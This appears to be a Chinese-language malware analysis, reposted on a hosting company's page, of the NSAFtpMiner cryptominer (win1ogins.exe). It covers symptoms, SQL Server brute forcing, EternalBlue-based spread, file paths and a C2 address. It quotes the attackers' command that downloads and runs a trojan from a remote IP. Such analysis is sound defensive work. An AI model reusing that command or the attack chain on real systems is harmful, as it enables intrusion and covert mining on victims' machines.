NSAFtpMiner矿工，win1ogins.exe挖矿病毒，介绍，原理，处理。
美国、香港服务器
NSAFtpMiner矿工，win1ogins.exe挖矿病毒，介绍，原理，处理。
02-17 来源:
中毒表现：
1，cpu跑到100%，服务器非常卡，基本操作不了，所有提供服务无法正常运行。
2，进程中有win1ogins.exe,中间是数字1 不是字母l.描述是cpu挖矿。右键无法打开文件位置。
3，断网情况下无法挖矿，CPU占用回下来。
使用360扫描杀毒，可以发现释放文件help.dll
原理：黑客通过1433端口爆破入侵SQL Server服务器，再植入远程控制木马并安装为系统服务，然后利用远程控制木马进一步加载挖矿木马进行挖矿。
NSAFtpMiner攻击流程
1433爆破手矿工（NSAFtpMiner）有如下特点：
1.利用密码字典爆破1433端口登录；
2.木马伪装成系统服务，COPY自身到c:\windows\svchost.exe，创建服务“Server Remote”；
3.利用NSA武器库工具包扫描入侵内网开放445/139端口的计算机；
4.使用了NSA武器中的多个工具包Eternalblue(永恒之蓝)、Doubleplsar(双脉冲星)、EternalChampion(永恒冠军)、Eternalromance（永恒浪漫）、Esteemaudit（RDP漏洞攻击）；
5.远程控制木马创建“FTP系统核心服务”，提供FTP服务，供内网其他被入侵的电脑进行病毒库更新；
6.下载挖矿程序在局域网组网挖取门罗币。
黑客针对1433端口爆破成功后在受害机器执行命令：
“C:\Windows\System32\WScript.exe” “C:\ProgramData\vget.vbs” hxxp://221.229.204.120:7423/clem.exe C:/ProgramData/clem.exe
将远程控制木马植入。
clem.exe运行后拷贝自身到C:\windows\svchost.exe，并创建服务“Server Remote”。
连接C2地址221.229.204.120：
远程控制木马clem.exe接收指令下载NSA攻击模块主程序ru.exe，ru.exe运行后在C:\Program Files\Windowsd 释放72个子文件。
黑客攻击时先关闭防火墙，然后启动Fileftp.exe扫描内网机器的445/139端口，如果端口处于打开状态则利用多个NSA武器工具（Eternalblue等）对目标机器进行攻击。若攻击成功，则根据不同系统版本在受害机器上执行payload(x86/x64.dll),x86/x64.dll执行后释放出runsum.exe并安装执行，runsum.exe功能同最初的远程控制模块clem.exe相同，接收指令下载挖矿模块和NSA攻击模块进行挖矿攻击和继续感染。
使用kill.bat、Pkill.dll对攻击进程进行清除。
远程控制木马clem.exe下载挖矿模块xxs.exe，xxs.exe运行后释放help.dll到C:\Windows\Fonts\sysIntl。
help.dll释放矿机程序win1ogins.exe到以下目录：
C:\Windows\Help\
C:\Windows\PLA\system\
C:\Windows\Fonts\system(x64)\
C:\Windows\Fonts\system(x86)\
C:\Windwos\dell\
win1ogins.exe采用开源挖矿程序xmrig编译 启动矿机程序挖矿门罗币
三二互联专业提供香港VPS,美国VPS主机,香港云服务器租用等业务香港美国到大陆CN2 GIA速度最快
